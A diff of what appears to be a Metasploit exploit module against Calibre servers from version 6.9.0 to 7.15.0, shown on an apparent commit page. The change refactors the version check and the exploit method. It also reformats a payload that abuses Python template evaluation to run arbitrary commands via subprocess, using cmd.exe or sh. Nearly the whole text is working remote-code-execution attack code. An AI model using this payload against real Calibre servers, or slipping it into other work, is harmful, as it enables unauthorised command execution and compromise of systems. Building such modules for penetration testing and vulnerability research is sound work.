@@ -93,7 +93,7 @@ def check
9393 vprint_status ( 'Version retrieved: ' + version [ 1 ] . to_s )
9494 end
9595
96- if Rex ::Version . new ( version [ 1 ] ) <= Rex ::Version . new ( '7.15 .0' ) && Rex ::Version . new ( version [ 1 ] ) >= Rex :: Version . new ( '6.9 .0')
96+ if Rex ::Version . new ( version [ 1 ] ) . between? ( Rex ::Version . new ( '6.9 .0' ) , Rex ::Version . new ( '7.15 .0') )
9797 return CheckCode ::Appears
9898 else
9999 return CheckCode ::Safe
@@ -104,12 +104,7 @@ def check
104104 end
105105
106106 def exploit
107- case target [ 'Type' ]
108- when :win_fetch
109- execute_command ( payload . encoded )
110- when :nix_cmd
111- execute_command ( payload . encoded )
112- end
107+ execute_command ( payload . encoded )
113108 end
114109
115110 def execute_command ( cmd )
@@ -119,7 +114,19 @@ def execute_command(cmd)
119114 end
120115
121116 def exec_calibre ( cmd )
122- payload = "[[\" template\" ], \" \" , \" \" , \" \" , 1,\" python:def evaluate(a, b):\\ n import subprocess\\ n try:\\ n return subprocess.check_output(['cmd.exe', '/c', '#{ cmd } ']).decode()\\ n except Exception:\\ n return subprocess.check_output(['sh', '-c', '#{ cmd } ']).decode()\" ]"
117+ payload = '[' \
118+ '["template"], ' \
119+ '"", ' \
120+ '"", ' \
121+ '"", ' \
122+ '1,' \
123+ '"python:def evaluate(a, b):\\n ' \
124+ 'import subprocess\\n ' \
125+ 'try:\\n ' \
126+ "return subprocess.check_output(['cmd.exe', '/c', '#{ cmd } ']).decode()\\ n " \
127+ 'except Exception:\\n ' \
128+ "return subprocess.check_output(['sh', '-c', '#{ cmd } ']).decode()\" " \
129+ ']'
123130
124131 res = send_request_cgi ( {
125132 'method' => 'POST' ,
@@ -130,6 +137,8 @@ def exec_calibre(cmd)
130137
131138 if res && res . code == 200
132139 print_good ( 'Command successfully executed, check your shell.' )
140+ elsif res && res . code == 400
141+ fail_with ( Failure ::UnexpectedReply , 'Server replied with a Bad Request response.' )
133142 end
134143 end
135144
0 commit comments